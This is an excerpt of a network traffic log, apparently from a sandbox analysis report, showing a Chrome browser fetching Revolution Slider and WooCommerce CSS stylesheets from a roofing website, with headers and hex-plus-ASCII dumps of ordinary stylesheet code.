2024-04-23 14:53:41 UTC	7652	IN	Data Raw: 2f 2a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 0d 0a 2d 09 52 65 76 6f 6c 75 74 69 6f 6e 20 53 6c 69 64 65 72 20 36 2e 30 20 44 65 66 61 75 6c 74 20 53 74 79 6c 65 20 53 65 74 74 69 6e 67 73 20 2d 0d 0a 0d 0a 53 63 72 65 65 6e 20 53 74 79 6c 65 73 68 65 65 74 0d 0a 0d 0a 76 65 72 73 69 6f 6e 3a 20 20 20 09 36 2e 30 2e 30 0d 0a 64 61 74 65 3a 20 20 20 20 20 20 09 32 34 2f 30 36 2f 31 39 0d 0a 61 75 74 68 6f 72 3a 09 09 74 68 65 6d 65 70 75 6e 63 68 0d 0a 65 6d 61 69 6c 3a 20 20 20 20 20 09 69 6e 66 6f 40 74 68 65 6d 65 70 75 6e 63 68 2e 63 6f 6d 0d 0a 77 65 62 73 Data Ascii: /*------------------------------------------------------------------------------Revolution Slider 6.0 Default Style Settings -Screen Stylesheetversion: 6.0.0date: 24/06/19author:themepunchemail: info@themepunch.comwebs
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 31 65 27 3b 20 7d 20 2f 2a 20 27 ee a0 9e 27 20 2a 2f 0d 0a 2e 72 65 76 69 63 6f 6e 2d 6d 61 67 69 63 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 30 37 27 3b 20 7d 20 2f 2a 20 27 ee a0 87 27 20 2a 2f 0d 0a 2e 72 65 76 69 63 6f 6e 2d 70 69 63 74 75 72 65 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 30 30 27 3b 20 7d 20 2f 2a 20 27 ee a0 80 27 20 2a 2f 0d 0a 2e 72 65 76 69 63 6f 6e 2d 65 78 70 6f 72 74 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 30 62 27 3b 20 7d 20 2f 2a 20 27 ee a0 8b 27 20 2a 2f 0d 0a 2e 72 65 76 69 63 6f 6e 2d 63 6f 67 3a 62 65 66 6f 72 65 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 65 38 33 32 27 Data Ascii: :before { content: '\e81e'; } /* '' /.revicon-magic:before { content: '\e807'; } / '' /.revicon-picture:before { content: '\e800'; } / '' /.revicon-export:before { content: '\e80b'; } / '' */.revicon-cog:before { content: '\e832'
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7d 0d 0a 0d 0a 0d 0a 72 73 2d 63 6f 6c 75 6d 6e 20 2e 72 73 2d 70 61 72 61 6c 6c 61 78 2d 77 72 61 70 20 72 73 2d 6c 6f 6f 70 2d 77 72 61 70 2c 0d 0a 72 73 2d 63 6f 6c 75 6d 6e 20 2e 72 73 2d 70 61 72 61 6c 6c 61 78 2d 77 72 61 70 20 72 73 2d 6d 61 73 6b 2d 77 72 61 70 2c 0d 0a 72 73 2d 63 6f 6c 75 6d 6e 20 2e 72 73 2d 70 61 72 61 6c 6c 61 78 2d 77 72 61 70 20 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 6c 65 66 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 74 6f 70 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 70 78 3b 7d 0d 0a 0d 0a 72 73 2d 63 6f 6c 75 6d 6e 20 2e 72 73 2d 70 61 72 61 6c 6c 61 78 2d 77 72 Data Ascii: line-block;}rs-column .rs-parallax-wrap rs-loop-wrap,rs-column .rs-parallax-wrap rs-mask-wrap,rs-column .rs-parallax-wrap { position: relative !important; left:auto !important; top:auto !important; line-height: 0px;}rs-column .rs-parallax-wr
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 09 09 09 09 09 09 09 7b 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 74 6f 70 3a 20 30 70 78 3b 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 30 2e 32 73 20 65 61 73 65 2d 6f 75 74 2c 20 6d 61 72 67 69 6e 20 30 2e 32 73 20 65 61 73 65 2d 6f 75 74 3b 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 7d 0d 0a 0d 0a 2e 72 65 76 2d 62 74 6e 2e 72 65 76 2d 68 69 64 64 65 6e 69 63 6f 6e 20 69 09 09 09 09 7b 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 20 70 Data Ascii: { font-size: inherit; font-weight: normal; position: relative; top: 0px; transition: opacity 0.2s ease-out, margin 0.2s ease-out; margin-left:0px; line-height: inherit}.rev-btn.rev-hiddenicon i{ font-size: inherit; font-weight: normal; p
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 20 2d 32 32 70 78 3b 0d 0a 09 77 69 64 74 68 3a 34 34 70 78 3b 68 65 69 67 68 74 3a 34 34 70 78 3b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 09 0d 0a 7d 0d 0a 0d 0a 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 74 70 2d 72 6f 74 61 74 65 70 6c 61 6e 65 20 7b 0d 0a 20 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 70 65 72 73 70 65 63 74 69 76 65 28 31 32 30 70 78 29 20 72 6f 74 61 74 65 58 28 30 64 65 67 29 20 72 6f 74 61 74 65 59 28 30 64 65 67 29 3b 7d 20 0d 0a 20 20 35 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 70 65 72 73 70 65 63 74 69 76 65 28 31 32 30 70 78 29 20 72 6f 74 61 74 65 58 28 2d 31 38 30 2e 31 64 65 67 29 20 72 6f 74 61 74 65 59 28 30 64 65 67 29 3b 7d 20 0d 0a 20 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 Data Ascii: -22px;width:44px;height:44px;border-radius: 3px;}@keyframes tp-rotateplane { 0% { transform: perspective(120px) rotateX(0deg) rotateY(0deg);} 50% { transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);} 100% { transfor
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 61 64 69 61 6c 2d 67 72 61 64 69 65 6e 74 28 63 69 72 63 6c 65 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 37 30 25 2c 23 32 32 32 20 31 35 30 25 29 3b 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 6d 75 6c 74 69 70 6c 79 7d 2e 5f 31 39 37 37 7b 66 69 6c 74 65 72 3a 63 6f 6e 74 72 61 73 74 28 31 2e 31 29 20 62 72 69 67 68 74 6e 65 73 73 28 31 2e 31 29 20 73 61 74 75 72 61 74 65 28 31 2e 33 29 7d 2e 5f 31 39 37 37 3a 61 66 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 32 34 33 2c 31 30 36 2c 31 38 38 2c 2e 33 29 3b 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 73 63 72 65 65 6e 7d 2e 62 72 6f 6f 6b 6c 79 6e 7b 66 69 6c 74 65 72 3a 63 6f 6e 74 72 61 73 74 28 2e 39 29 20 62 72 69 67 68 74 6e 65 73 73 28 Data Ascii: ter{background:radial-gradient(circle,transparent 70%,#222 150%);mix-blend-mode:multiply}._1977{filter:contrast(1.1) brightness(1.1) saturate(1.3)}._1977:after{background:rgba(243,106,188,.3);mix-blend-mode:screen}.brooklyn{filter:contrast(.9) brightness(
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 72 39 20 2e 72 73 2d 73 70 69 6e 6e 65 72 2d 69 6e 6e 65 72 20 73 70 61 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 6f 70 61 63 69 74 79 3a 2e 36 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 72 73 2d 72 65 76 65 61 6c 65 72 2d 39 20 32 73 20 69 6e 66 69 6e 69 74 65 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 61 6e 69 6d 61 74 69 6f 6e 3a 72 73 2d 72 65 76 65 61 6c 65 72 2d 39 20 32 73 20 69 6e 66 69 6e 69 74 65 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 72 73 2d 6c 6f 61 64 65 72 2e 73 70 69 6e 6e 65 72 39 20 2e 72 73 2d 73 70 69 6e 6e Data Ascii: r9 .rs-spinner-inner span{display:block;width:100%;height:100%;border-radius:50%;opacity:.6;position:absolute;top:0;left:0;-webkit-animation:rs-revealer-9 2s infinite ease-in-out;animation:rs-revealer-9 2s infinite ease-in-out}rs-loader.spinner9 .rs-spinn
2024-04-23 14:53:42 UTC	1313	IN	Data Raw: 6e 65 72 20 73 70 61 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 32 30 70 78 3b 68 65 69 67 68 74 3a 32 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 72 73 2d 72 65 76 65 61 6c 65 72 2d 31 35 20 31 2e 38 73 20 69 6e 66 69 6e 69 74 65 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 61 6e 69 6d 61 74 69 6f 6e 3a 72 73 2d 72 65 76 65 61 6c 65 72 2d 31 35 20 31 2e 38 73 20 69 6e 66 69 6e 69 74 65 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 72 73 2d 6c 6f 61 64 65 72 2e 73 70 69 6e 6e 65 72 31 35 20 2e 72 73 2d 73 70 69 6e 6e 65 72 2d 69 6e 6e 65 72 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 Data Ascii: ner span{display:block;width:20px;height:20px;position:absolute;top:0;left:0;-webkit-animation:rs-revealer-15 1.8s infinite ease-in-out;animation:rs-revealer-15 1.8s infinite ease-in-out}rs-loader.spinner15 .rs-spinner-inner:last-child{-webkit-animation-d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49738	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	617	OUT	GET /wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 17809 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d40465-4591-5ebcb23cbcac0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	7652	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 3a 23 61 34 36 34 39 37 3b 2d 2d 77 63 2d 67 72 65 65 6e 3a 23 37 61 64 30 33 61 3b 2d 2d 77 63 2d 72 65 64 3a 23 61 30 30 3b 2d 2d 77 63 2d 6f 72 61 6e 67 65 3a 23 66 66 62 61 30 30 3b 2d 2d 77 63 2d 62 6c 75 65 3a 23 32 65 61 32 63 63 3b 2d 2d 77 63 2d 70 72 69 6d 61 72 79 3a 23 61 34 36 34 39 37 3b 2d 2d 77 63 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 3a 77 68 69 74 65 3b 2d 2d 77 63 2d 73 65 63 6f 6e 64 61 72 79 3a 23 65 62 65 39 65 62 3b 2d 2d 77 63 2d 73 65 63 6f 6e 64 61 72 79 2d 74 65 78 74 3a 23 35 31 35 31 35 31 3b 2d 2d 77 63 2d 68 69 67 68 6c 69 67 68 74 3a 23 37 37 61 34 36 34 3b 2d 2d 77 63 2d 68 69 67 68 6c 69 67 68 2d 74 65 78 74 3a 77 68 69 74 65 3b 2d 2d 77 63 2d 63 6f 6e 74 65 6e 74 Data Ascii: :root{--woocommerce:#a46497;--wc-green:#7ad03a;--wc-red:#a00;--wc-orange:#ffba00;--wc-blue:#2ea2cc;--wc-primary:#a46497;--wc-primary-text:white;--wc-secondary:#ebe9eb;--wc-secondary-text:#515151;--wc-highlight:#77a464;--wc-highligh-text:white;--wc-content
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 73 20 6c 69 2e 70 72 6f 64 75 63 74 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2e 63 6f 6c 75 6d 6e 73 2d 33 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 7b 77 69 64 74 68 3a 33 30 2e 37 35 25 7d 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 2e 63 6f 6c 75 6d 6e 73 2d 35 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2e 63 6f 6c 75 6d 6e 73 2d 35 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 7b 77 69 64 74 68 3a 31 36 2e 39 35 25 7d 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 65 2e 63 6f 6c 75 6d 6e 73 2d 36 20 75 6c 2e 70 72 6f 64 75 63 74 73 20 6c 69 2e 70 72 6f 64 75 63 74 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2e 63 6f 6c 75 6d 6e 73 2d 36 Data Ascii: s li.product,.woocommerce.columns-3 ul.products li.product{width:30.75%}.woocommerce-page.columns-5 ul.products li.product,.woocommerce.columns-5 ul.products li.product{width:16.95%}.woocommerce-page.columns-6 ul.products li.product,.woocommerce.columns-6
2024-04-23 14:53:42 UTC	1965	IN	Data Raw: 72 20 23 63 6f 6e 74 65 6e 74 2e 74 77 65 6e 74 79 65 6c 65 76 65 6e 7b 6d 61 72 67 69 6e 3a 30 20 37 2e 36 25 3b 77 69 64 74 68 3a 35 38 2e 34 25 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 74 77 65 6e 74 79 66 6f 75 72 74 65 65 6e 20 2e 74 66 77 63 7b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 31 30 70 78 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 34 37 34 70 78 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 74 77 65 6e 74 79 66 6f 75 72 74 65 65 6e 20 2e 74 66 77 63 20 2e 70 72 6f 64 75 63 74 20 2e 65 6e 74 72 79 2d 73 75 6d 6d 61 72 79 7b 70 61 64 64 69 6e 67 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 36 31 38 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 77 65 6e 74 79 66 6f 75 72 74 65 65 6e 20 2e 74 66 77 63 20 64 69 76 2e 70 Data Ascii: r #content.twentyeleven{margin:0 7.6%;width:58.4%;float:left}.twentyfourteen .tfwc{padding:12px 10px 0;max-width:474px;margin:0 auto}.twentyfourteen .tfwc .product .entry-summary{padding:0!important;margin:0 0 1.618em!important}.twentyfourteen .tfwc div.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49739	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	610	OUT	GET /wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 62755 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d40469-f523-5ebcb23cbcac0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	7652	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 3a 72 6f 6f 74 7b 2d 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 3a 23 61 34 36 34 39 37 3b 2d 2d 77 63 2d 67 72 65 65 6e 3a 23 37 61 64 30 33 61 3b 2d 2d 77 63 2d 72 65 64 3a 23 61 30 30 3b 2d 2d 77 63 2d 6f 72 61 6e 67 65 3a 23 66 66 62 61 30 30 3b 2d 2d 77 63 2d 62 6c 75 65 3a 23 32 65 61 32 63 63 3b 2d 2d 77 63 2d 70 72 69 6d 61 72 79 3a 23 61 34 36 34 39 37 3b 2d 2d 77 63 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 3a 77 68 69 74 65 3b 2d 2d 77 63 2d 73 65 63 6f 6e 64 61 72 79 3a 23 65 62 65 39 65 62 3b 2d 2d 77 63 2d 73 65 63 6f 6e 64 61 72 79 2d 74 65 78 74 3a 23 35 31 35 31 35 31 3b 2d 2d 77 63 2d 68 69 67 68 6c 69 67 68 74 3a 23 37 37 61 34 36 34 3b 2d 2d 77 63 2d 68 69 67 68 6c 69 67 68 2d 74 65 78 74 3a 77 Data Ascii: @charset "UTF-8";:root{--woocommerce:#a46497;--wc-green:#7ad03a;--wc-red:#a00;--wc-orange:#ffba00;--wc-blue:#2ea2cc;--wc-primary:#a46497;--wc-primary-text:white;--wc-secondary:#ebe9eb;--wc-secondary-text:#515151;--wc-highlight:#77a464;--wc-highligh-text:w
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 73 20 75 6c 2e 74 61 62 73 20 6c 69 3a 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 33 63 65 64 32 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 6f 74 74 6f 6d 3a 2d 31 70 78 3b 77 69 64 74 68 3a 35 70 78 3b 68 65 69 67 68 74 3a 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 64 69 76 2e 70 72 6f 64 75 63 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 74 61 62 73 20 75 6c 2e 74 61 62 73 20 6c 69 3a 3a 62 65 66 6f 72 65 7b 6c 65 66 74 3a 2d 35 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 34 70 78 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 31 70 78 20 31 70 Data Ascii: s ul.tabs li::before{border:1px solid #d3ced2;position:absolute;bottom:-1px;width:5px;height:5px;content:" ";box-sizing:border-box}.woocommerce div.product .woocommerce-tabs ul.tabs li::before{left:-5px;border-bottom-right-radius:4px;border-width:0 1px 1p
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 64 69 73 61 62 6c 65 64 5b 64 69 73 61 62 6c 65 64 5d 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 64 69 73 61 62 6c 65 64 5b 64 69 73 61 62 6c 65 64 5d 3a 68 6f 76 65 72 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 69 6e 70 75 74 2e 62 75 74 74 6f 6e 2e 61 6c 74 2e 64 69 73 61 62 6c 65 64 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 69 6e 70 75 74 2e 62 75 74 74 6f 6e 2e 61 6c 74 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 69 6e 70 75 74 2e 62 75 74 74 6f 6e 2e 61 6c 74 3a 64 69 73 61 62 6c 65 64 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 69 6e 70 75 74 2e 62 75 74 74 6f 6e 2e 61 Data Ascii: woocommerce button.button.alt:disabled[disabled],.woocommerce button.button.alt:disabled[disabled]:hover,.woocommerce input.button.alt.disabled,.woocommerce input.button.alt.disabled:hover,.woocommerce input.button.alt:disabled,.woocommerce input.button.a
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 70 72 6f 64 75 63 74 2d 6e 61 6d 65 20 2e 77 63 2d 69 74 65 6d 2d 6d 65 74 61 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 74 64 2e 70 72 6f 64 75 63 74 2d 6e 61 6d 65 20 64 6c 2e 76 61 72 69 61 74 69 6f 6e 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 7d 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 74 64 2e 70 72 6f 64 75 63 74 2d 6e 61 6d 65 20 2e 77 63 2d 69 74 65 6d 2d 6d 65 74 61 20 2e 77 63 2d 69 74 65 6d 2d 6d 65 74 61 2d 6c 61 62 65 6c 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 74 64 2e 70 72 6f 64 75 63 74 2d 6e 61 6d 65 20 2e 77 63 2d 69 74 65 6d 2d 6d 65 74 61 20 64 74 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 74 64 2e 70 72 6f 64 75 63 74 2d 6e 61 6d 65 20 64 6c 2e 76 61 72 69 61 74 69 6f 6e 20 2e 77 63 2d 69 74 65 6d 2d 6d 65 Data Ascii: product-name .wc-item-meta,.woocommerce td.product-name dl.variation{list-style:none outside}.woocommerce td.product-name .wc-item-meta .wc-item-meta-label,.woocommerce td.product-name .wc-item-meta dt,.woocommerce td.product-name dl.variation .wc-item-me
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 64 65 74 61 69 6c 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 75 73 74 6f 6d 65 72 2d 64 65 74 61 69 6c 73 2d 2d 70 68 6f 6e 65 3a 3a 62 65 66 6f 72 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 57 6f 6f 43 6f 6d 6d 65 72 63 65 3b 73 70 65 61 6b 3a 6e 65 76 65 72 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 36 31 38 65 6d 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 33 37 22 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6d 61 72 67 Data Ascii: details .woocommerce-customer-details--phone::before{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-right:.618em;content:"\e037";text-decoration:none;marg
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 6d 65 72 63 65 2d 63 68 65 63 6b 6f 75 74 20 74 61 62 6c 65 2e 63 61 72 74 20 69 6e 70 75 74 7b 6d 61 72 67 69 6e 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 61 64 64 5f 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 20 2e 77 63 2d 70 72 6f 63 65 65 64 2d 74 6f 2d 63 68 65 63 6b 6f 75 74 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 61 72 74 20 2e 77 63 2d 70 72 6f 63 65 65 64 2d 74 6f 2d 63 68 65 63 6b 6f 75 74 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 68 65 63 6b 6f 75 74 20 2e 77 63 2d 70 72 6f 63 65 65 64 2d 74 6f 2d 63 68 65 63 6b 6f 75 74 7b 70 61 64 64 69 6e 67 3a 31 65 6d 20 30 7d 23 61 64 64 5f 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 20 2e 77 63 2d 70 72 6f 63 65 65 64 2d 74 6f 2d 63 68 65 63 6b 6f 75 74 3a 3a 61 Data Ascii: merce-checkout table.cart input{margin:0;vertical-align:middle}#add_payment_method .wc-proceed-to-checkout,.woocommerce-cart .wc-proceed-to-checkout,.woocommerce-checkout .wc-proceed-to-checkout{padding:1em 0}#add_payment_method .wc-proceed-to-checkout::a
